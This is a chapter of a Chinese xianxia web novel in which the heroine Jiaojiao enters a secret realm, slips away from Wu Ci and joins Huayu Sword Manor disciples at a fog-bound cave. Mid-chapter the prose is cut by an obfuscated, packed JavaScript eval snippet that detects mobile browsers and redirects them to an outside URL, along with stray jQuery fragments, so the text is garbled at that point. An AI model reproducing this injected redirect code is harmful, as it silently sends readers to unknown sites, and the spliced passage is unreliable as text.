皎皎转身,对着黑蛇安抚一笑。
就在这转头的瞬间,皎皎余光瞥到,江沉雪正在看着她。
但等到她连忙转过头去,又发现那只是错觉。
身旁的乌瓷却突然凑近了。
皎皎发觉时,他不知道已经看了自己多久。
看到他的眼神,皎皎下意识觉得不妙:“怎么了。”
乌瓷似笑非笑地看着她:“你在看谁?”
皎皎当然在看江沉雪,她转过头去,目光刻意地没去看长老席位,装作无意说:“没有谁啊。”
乌瓷仍然静静看她片刻,再开口时,语气像是在开玩笑,又像是很认真:“如果我杀了他,你会怎样?”
他的话音一落,皎皎的面色立刻阴沉了一瞬。
这一瞬的不快和厌恶,几乎连她自己都没有察觉。
但乌瓷看到了。
皎皎装作一无所知,困惑道:“谁啊?”
乌瓷没有回答,只是看着她的侧颜,不知道在想些什么。
似乎还停留在那个瞬间。
这个话题没有继续下去,秘境大会结束了。
江沉雪本就只派了一缕灵力化作自己的法相前来,大会已然结束,他自然离去。
随之而去的是天上紫金色的霞光。
天空再次恢复了那种朦胧的阴天,细细的小雨飘散在空气中。
皎皎就站在这雨中,看着流霞消失殆尽。
她没表现出什么。
*
秘境中资源丰富,地域广阔,穿过一阵波动的灵力,就到了秘境中。
一进来,皎皎面前是一片苍翠密林。
除她之外,一个人也没有。
她和乌瓷、赵秋心两个人分开了。
进入秘境的人会分散,若是同一个宗门的,想要一起行动,大多会带上传讯符或者定位符,进入秘境后使用。
不过如果两个人离得太远,符咒也会失效。
皎皎一时间也有些不适应,她竟然就这样从乌瓷身边逃跑了?
或许是因为这种不真实感,那种终于逃脱的狂喜,迟迟没有在皎皎身上出现。
密林中十分安静,皎皎只能听见自己踩断枯枝的声音。
周围蒙着一层若有似无的淡雾。
她走累了,就在原地歇下,等到休息够了,再继续往前。
在进来之前,皎皎就知道秘境中无论是天气变化,还是时间流逝都与现实世界中的不同。
她自己觉得几乎走了一天一夜,但天光还是几乎没有变化。白天和黑夜的交替和外界不同,也因此难以判断时间,皎皎只能一直往前。
分辨不出到底过去了多久,只是估算着大概过去了两天,皎皎终于远远听到了人声。
她此时也早就从密林中走出来,听见人声,顿时激动不已。
出现在眼前的是一个山洞,山洞前有几个人正在大声争吵。
这几个人都身着同样样式的法衣,显然是同一个门派的。
不过其中有三四个人都衣衫被割裂出口子,头发也有些散乱,看起来很狼狈,似乎才遭遇过一场战斗,而且这些人没有占到上风。
皎皎目光落到他们衣衫上所挂着的令牌上,上面写着花雨剑庄。
她对这个门派有一定印象,虽然挤不进前十的门派,但规模也不小,在仙盟中有一席之地。
此时站在山洞前的一共有七人,五男二女,发出争吵声的是其中三人。
一个人大声道:“什么叫从长计议?就把青枫师兄留在里面吗?”声音听起来很气愤。
“不然怎么办?谁进去?去白白送命吗?!!你跟我叫嚷什么,有用吗?!!”
“都少说两句,冷静下来,想想办法。”
“青枫师兄在里面生死未卜,让我怎么冷静!”
“多进去一个,多一个生死未卜,你是想这样吗?!”
那人闻言脸色一变,长剑锵然出鞘:“你什么意思!!”
吵吵嚷嚷中,有个女修厉声喝止住了众人:
“都住口!有人来了。”
闻言,争吵的几人虽然仍然脸色愤愤,但都暂时压下,看向来人。
手持长剑的那人也将剑暂时收了起来。
来人正是陈皎皎。
花雨剑庄也是名门正派,皎皎摸了摸脸,确认自己脸上的伪装还在,倒也不担心自己的安全,只一拱手:“我只是一来秘境中修炼的散修,无意叨扰各位,这就离开。”
从他们刚才的争吵中,皎皎也明白了这山洞中发生了什么。
应当是这一群人想去山洞中寻一些天材地宝,但却遭遇了一些危险,有一个同门被留在了其中,剩下的人则是逃出来了。
益州秘境虽然相对安全,但也是秘境,危险和收益成正比,生死自负。
皎皎自己现在还一个头两个大,无意去管别的门派的事。
她打算在这秘境中寻一些相对安全些的药草材料等,支撑自己独自前往并州。
听到她这样说,这几人也明白她没有敌意,之前那出声制止争吵的女修面色缓和了一些,也对皎皎道:“好,道友也注意安全,山水有相逢。”
皎皎也点头,就要离开。
对花雨剑庄的众人而言,这位散修的出现,只是一个小小的插曲。
女修应付了这位误打误撞出现在这里的散修,众人也都再次把注意力放回到了山洞和那个被困的青枫师兄身上。
神情或思考,或忧虑,或紧张。
除了一个人。
是站在女修身旁的一个男修,皎皎见他双手抱剑,众人交谈的过程中,此人扶着额头,微微低着头,所以看不清表情。
等到皎皎要离开了,他抬起了头。
出乎意料的,皎皎看到他是笑着的。
那是一种很愉悦的、高兴的笑容。
好像看见了老友一般。
他注视着皎皎,满眼笑意。
皎皎一怔,心中觉得奇怪。
自己的同门陷入危险,这个人瞎乐呵什么呢?
不过毕竟也是别人的事,皎皎只是留了个心眼注意着背后,就这样离开。
周围的雾气渐浓,白茫茫的,逐渐聚集起来,将身前身后的路都涂抹成模糊。
不过幸好脚下的路还是清晰的,不知道是谁踩出来的小道。
皎皎就这样走了半盏茶的时间,脚步逐渐顿住了。
面前又是那山洞。
还是花雨剑庄那七个人。
争吵声倒是已经平息了,七个人分散坐着修习,白雾到了这山洞前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145509|193433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又渐渐消失了。
看见皎皎又回来,这几个人显然也有些疑惑,纷纷又站起身来。
有人道:“道友怎么又回来了?”
皎皎抬头环顾四周,说来也怪,一站到这山洞旁,但见天光大亮,天空算不上一碧如洗,但也十分晴朗,将周边的景色照得清清楚楚,看不见一点点雾气遮蔽天地的痕迹。
皎皎道:“走不出去,鬼打墙了。”
她伸手指了指身后:“这里看不出来,但是一走出去就是铺天盖地的大雾。”
听她这么说,那女修对着一个修士点了点头,那人随即起身,往外走。
同样半盏茶的时间,那修士回来了,脸色严肃:“的确出去就是雾气。”
一个脸尖尖的男修闻言,立刻冷笑一声道:“这下好了,不愿意进去救人,困在外面也是一样!!”
女修低声道:“住口。”
声音里倒不算太严厉,只是无奈。
皎皎也坐到他们旁边,一番礼貌性地交谈,也差不多认全了这些人。
女修就两个,一个是先前与皎皎沟通,看起来地位不低的女修,叫温立身;另一个是皎皎身旁坐着的圆脸姑娘,名字叫丁秀。
再有的,就是之前那面带诡异微笑的男修,叫楚玉衡。
皎皎再看,楚玉衡已恢复了正常的状态,察觉到皎皎的目光,微一点头回应。
皎皎收回视线,也许是自己想多了。
环顾一圈,这些人年纪都很轻,她判断大约都在二十上下。温立身似乎是其中的大师姐,众人都等着她拿主意做决定,不过她看起来也就是最多二十五岁左右。
他们身上似乎背着任务,再加上有人被困在山洞里,外面又雾气围路,看起来众人都有些忧虑。
一番讨论后,圆脸姑娘丁秀站了出来,拿出了一根香。
这是一种类似于占卜的法术,丁秀点燃香,手捧着,香燃出的烟雾袅袅升起,这里没有风,最开始烟雾只是往上走,但慢慢的,就凭空拐了一个方向。
烟往那山洞中而去了。
他们似乎十分相信那香占卜的结果,看到这烟雾的方向,虽然有些吃惊,但还是决定进入那山洞。
温立身对皎皎道:“道友,这洞中凶险,但我们的同门还在其中,在加上引路香如此指引,我们还是得进去。”
“你非我花雨剑庄弟子,不必跟着一起冒险,便在洞外等我们吧。”
皎皎闻言不知道在想什么,略加思考后道:“我和你们一起吧。”
温立身道:“倒是不必......”
她看得出这少女修为不算高,如果真的进去,说不定反而会变成一个累赘。
皎皎道:“不过,我有一个请求,如果在洞中我帮了你们,你们能不能,给我一根那引路香?”
这种带有占卜性质的法术,通常会对制造占卜工具的人,以及施术人都造成一定伤害,是用修为和心血,甚至是性命凝结而成的,珍贵程度可想而知,也因此,皎皎想要和他们一起进去,做些贡献,来换取那引路香。
温立身露出为难的神色:“这......实不相瞒,道友,这里面十分危险,非普通修士能够应对的。我想还是算了吧。”
这下皎皎明白过来了,他们是嫌她太弱,不想带她。